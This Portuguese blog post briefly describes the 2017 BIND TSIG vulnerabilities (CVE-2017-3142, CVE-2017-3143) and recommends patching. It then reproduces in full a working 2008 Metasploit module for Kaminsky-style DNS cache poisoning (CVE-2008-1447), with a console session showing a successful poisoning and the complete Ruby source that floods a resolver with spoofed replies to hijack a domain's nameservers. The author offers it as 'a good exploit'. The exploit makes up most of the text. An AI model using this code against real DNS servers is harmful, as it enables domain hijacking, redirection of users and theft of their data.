O Laboratório de Inteligência da CIPHER alerta para uma nova vulnerabilidade no software BIND (Berkeley Internet Name Daemon), um dos mais utilizados para o protocolo DNS (Domain Name System) nos sistemas Unix, Linux e em algumas versões do Windows.
Por meio da falha, usuários não registrados podem falsificar autenticações para realizarem alterações e transferências dinâmicas de zonas de DNS de maneira remota nos computadores, levando os usuários para diferentes domÃnios, além de permitir mudanças nos endereços de IPs e roubo de informações.
“A transferência de zona é um processo em que um servidor DNS transmite uma cópia de sua base de dados para outro servidor”, explica Wolmer Godoi, diretor de Cibersegurança e Serviços Profissionais da CIPHER. “Ao obter uma cópia desses registros, um atacante pode realizar DNS spoofing, desfiguração de websites e negação de serviço”, completa.
O BIND, ou Berkeley Internet Name Domain ou, como chamado previamente, Berkeley Internet Name Daemon é na verdade um servidor para o protocolo DNS utilizado em larga escala pela internet, principalmente pela plataforma Open Source. Foi criado por quatro estudantes de graduação, membros de um grupo de pesquisas em ciência da computação da Universidade de Berkeley, e foi distribuÃdo pela primeira vez com o sistema operacional 4.3BSD. Atualmente esta presente em grandes provedores por todo o mundo.
Esta falha está relacionada ao protocolo de autenticação Transaction SIGnature (TSIG) e foi comunicada através dos boletins CVE-2017-3142 e CVE-2017-3143. O erro ainda não gerou ataques (isso até hoje , 17 Julho de 2017), mas pode causar modificações de conteúdo e layout dos websites muito embreve. Não é muito difÃcil explorar tal vulnerabilidade e já é possÃvel encontrar alguns exploits bem interessantes nos servidores da Deep Web.
A recomendação dos especialistas em segurança da informação da CIPHER é de atualizar imediatamente o BIND DNS para a última versão, disponÃvel em http://www.isc.org/downloads.
REF2: http://www.securityreport.com.br/overview/falha-de-seguranca-permite-modificacao-em-dns-sem-autenticacao/#.WWlCnIIXIlM.linkedin
Aqui segue um bom Exploit para exploração de vulnerabilidade pelo BIND:
BIND 9.4.1 < 9.4.2 - Remote DNS Cache Poisoning Flaw Exploit (Metasploit). A propósito, a autoria deste exploit não é minha. Tomei o cuidado de manter a autoria ativa. Notem que o exploit não é novo e esta datado pelo ano de 2008. A partir deste código é possÃvel entender mais sobre as vulnerabilidades existentes e a facilidade em explorar novas vulnerabilidades.
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/ \ / \ | | | |
----====####/ /\__\##/ /\ \##| |##| |####====----
| | | |__| | | | | |
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------======######\ \/ /#| |##| |#| |##| |######======------
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Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/========================================================
Exploit ID: CAU-EX-2008-0003
Release Date: 2008.07.23
Title: bailiwicked_domain.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email: I)ruid <druid (@) caughq.org>
H D Moore <hdm (@) metasploit.com>
===============/========================================================
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. This insertion completely replaces the original nameserver
records for the target domain.
Example
=======
# /msf3/msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
dns01.metasploit.com.
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
Cedric Blancher <sid (@) rstack.org> figured out the NS injection method and
was cool enough to email us and share!
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' =>
[
' I)ruid', 'hdm',
#
'Cedric Blancher <sid[at]rstack.org>' # Cedric figured out the NS injection method
# and was cool enough to email us and share!
#
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5591 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
],
'DisclosureDate' => 'Jul 21 2008'
))
register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
], self.class)
end
def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil
1.upto(5) do |i|
req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end
srv_sock.close
if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end
if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end
def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000
address = Rex::Text.rand_text(4).unpack("C4").join(".")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1
srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()
if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end
# Verify its not already poisoned
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == domain and data.name.to_s == newdns)
t = Time.now + ttl
print_status("Failure: This domain is already using #{newdns} as a nameserver")
print_status(" Cache entry expires on #{t.to_s}")
srv_sock.close
disconnect_ip
return
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"
# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end
if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end
# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0
connect_ip if not ip_sock
print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")
while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
req.rd = 1
buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
req.qr = 1
req.aa = 1
xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end
# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end
# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()
if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == domain and data.name.to_s == newdns)
print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
srv_sock.close
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end
end
end
end
end
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